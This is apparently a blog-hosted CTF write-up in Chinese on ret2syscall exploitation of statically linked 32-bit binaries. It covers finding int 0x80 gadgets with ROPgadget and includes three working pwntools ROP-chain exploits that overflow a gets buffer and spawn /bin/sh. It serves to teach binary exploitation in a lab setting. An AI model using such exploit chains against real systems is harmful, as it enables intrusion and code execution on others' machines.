zoukankan      html  css  js  c++  java
  • 再识ret2syscall

      当初学rop学到的ret2syscall,对int 0x80中断了解还不是很深,这次又复习了一遍。虽然很简单,但是还是学到了新东西。那么我们就从ret2syscall开始吧。

      IDA一打开的时候,就看见函数窗口有超级多的函数,我就意识到,应该是静态编译。这样软件就没调用libc,也就不存在leak libc版本来获取shell地址了。记得以前做过的一道静态编译,利用的是ROPgadget。刚刚试了一下,发现这道题也可以,这个我们最后说。

      IDA打开后搜索字符串,发现“/bin/sh”字样,但是没有system函数。那么我们就想到用系统调用的方法来拿到shell。系统调用需要一个函数就是int 0x80,我们用ROPgadget来搜索一下。

     

      截图中我们有了int 0x80的地址和“/bin/sh”的地址,再获取一些给寄存器赋值的gadget就可以写exp了,这里就直接贴上exp了。

     1 from pwn import *
     2 
     3 p = process('./ret2syscall')
     4 
     5 binsh_addr = 0x080be408
     6 pop_eax = 0x080bb196
     7 pop_edx_ecx_ebx = 0x0806eb90
     8 int80_addr = 0x08049421
     9 
    10 payload = 'a'*112 + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0x0) + p32(0x0) + p32(binsh_addr) + p32(int80_addr)
    11 
    12 p.sendline(payload)
    13 p.interactive()

      这是我第一次学习时候的ret2syscall的时候的exp,当我今天又遇到一个这种类型的题。我们来细细看一下。

      

      

      直接main函数一个gets溢出,然后就没了。这道题是直接搜不出“/bin/sh”字符串的。但是其实如果真的掌握精髓的话,其实是可以拼接出“/bin/sh”字符串的,因为我搜了一下,有“/”,有“bin”,有“sh”,但是我拼接过程中不知道该如何截断一个字符串。那么我们还能怎么办呢?既然是系统调用,那么我们不如调用一个read函数,来自己输入“/bin/sh”吧。

      自己输入“/bin/sh”的话,就需要我们调用两次int 80,但是,却怎么也打不通。

      

      这时候有师傅告诉我说,用ROPgadget这样搜索,搜出来也是系统调用,我怀着疑惑,用qira看一下。

      

      我们调用了两次int80,但是汇编只显示了一行,经过调试发现,当read执行完,执行shellcode的时候又会跳到第一个int80来系统调用。

      那我们再看一下,第一次搜索出来的int80为啥不行。。。

      

      发现这样调用之后,任务直接就中断了,就不会继续执行了。。。

      那么就总结出来了,如果只需要一次系统调用,可以用这种命令:ROPgadget --binary rop --only 'int'

      如果我们需要多次系统调用,就只能用这个命令来找int 0x80 :ROPgadget --binary rop --opcode cd80c3

      本题如果我们要自己输入“/bin/sh”的话,就需要用这个找到的地址了。

      那么我们贴一下这道题的exp:

     1 from pwn import *
     2 import time
     3 
     4 p = process('./rop')
     5 #p = remote('127.0.0.1',4000)
     6 elf = ELF('./rop')
     7 context.log_level = 'debug'
     8 
     9 pop_eax_edx_ebx = 0x08053d14
    10 pop_ecx = 0x080595b3
    11 ret = 0x080481b2
    12 #int80 = 0x0806c405   #int80
    13 int80 = 0x0806ef00     #ROPgadget --binary rop --opcode cd80c3
    14 buf = elf.bss() + 0x300
    15 payload = 'a'*22
    16 payload += flat([
    17     pop_eax_edx_ebx,
    18     0x3,
    19     0x10,
    20     0x0,
    21     pop_ecx,
    22     buf,
    23     int80,
    24     pop_eax_edx_ebx,
    25     0xb,
    26     0x0,
    27     buf,
    28     pop_ecx,
    29     0x0,
    30     int80])
    31 p.sendline(payload)
    32 sleep(1)
    33 p.send('/bin/shx00')
    34 sleep(1)
    35 p.sendline('cat flag.txt')
    36 p.recv()
    37 p.close()

      说到这里,其实也该完了,但是我发下ROPgadget是真的牛逼。他还有这么一行命令:

      

    ROPgadget --binary rop --ropchain

      这行命令,会自己从程序里面找gadget片段,然后拼接出shellcode,如果这道题用这种方法做,我贴一下exp:

     1 from pwn import *
     2 from struct import pack
     3 import time
     4 
     5 z = process('./rop')
     6 #p = remote('127.0.0.1',4000)
     7 elf = ELF('./rop')
     8 context.log_level = 'debug'
     9 
    10 p = 'a'*22
    11 
    12 p += pack('<I', 0x0806e7da) # pop edx ; ret
    13 p += pack('<I', 0x080ec080) # @ .data
    14 p += pack('<I', 0x080b90f6) # pop eax ; ret
    15 p += '/bin'
    16 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret
    17 p += pack('<I', 0x0806e7da) # pop edx ; ret
    18 p += pack('<I', 0x080ec084) # @ .data + 4
    19 p += pack('<I', 0x080b90f6) # pop eax ; ret
    20 p += '//sh'
    21 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret
    22 p += pack('<I', 0x0806e7da) # pop edx ; ret
    23 p += pack('<I', 0x080ec088) # @ .data + 8
    24 p += pack('<I', 0x08049173) # xor eax, eax ; ret
    25 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret
    26 p += pack('<I', 0x080481c9) # pop ebx ; ret
    27 p += pack('<I', 0x080ec080) # @ .data
    28 p += pack('<I', 0x080595b3) # pop ecx ; ret
    29 p += pack('<I', 0x080ec088) # @ .data + 8
    30 p += pack('<I', 0x0806e7da) # pop edx ; ret
    31 p += pack('<I', 0x080ec088) # @ .data + 8
    32 p += pack('<I', 0x08049173) # xor eax, eax ; ret
    33 p += pack('<I', 0x080be674) # inc eax ; ret
    34 p += pack('<I', 0x080be674) # inc eax ; ret
    35 p += pack('<I', 0x080be674) # inc eax ; ret
    36 p += pack('<I', 0x080be674) # inc eax ; ret
    37 p += pack('<I', 0x080be674) # inc eax ; ret
    38 p += pack('<I', 0x080be674) # inc eax ; ret
    39 p += pack('<I', 0x080be674) # inc eax ; ret
    40 p += pack('<I', 0x080be674) # inc eax ; ret
    41 p += pack('<I', 0x080be674) # inc eax ; ret
    42 p += pack('<I', 0x080be674) # inc eax ; ret
    43 p += pack('<I', 0x080be674) # inc eax ; ret
    44 p += pack('<I', 0x0806c405) # int 0x80
    45 z.sendline(p)
    46 z.interactive()
    47     
    View Code

      payload直接用自动生成的就可以,仔细阅读一下自动生成的,发现就是都是利用片段拼接,而且只调用了一次int 0x80,调用的这次也是咱们那个只能用一次的int 0x80的那个地址。这样,这种题目就算是分析透彻了。

      当然这种直接生成的payload一般都比较长,适用于gets函数,我做了一道题是read,因为限制长度就不能用。

      好了,分析就到这了。

  • 相关阅读:
    尴尬的事情又发生Newtonsoft.Json vs Protobuf.net
    python的多线程到底有没有用?
    Python中单线程、多线程和多进程的效率对比实验
    Python 一篇学会多线程
    Python中threading的join和setDaemon的区别及用法
    Python 函数定义以及参数传递
    python的thread和threading区别
    mod_python
    Maven 入门
    微信开发 没有认证过的服务号怎么办?微信提供了測试号(开通了认证过的服务号的功能)
  • 原文地址:https://www.cnblogs.com/bhxdn/p/12489812.html
Copyright © 2011-2022 走看看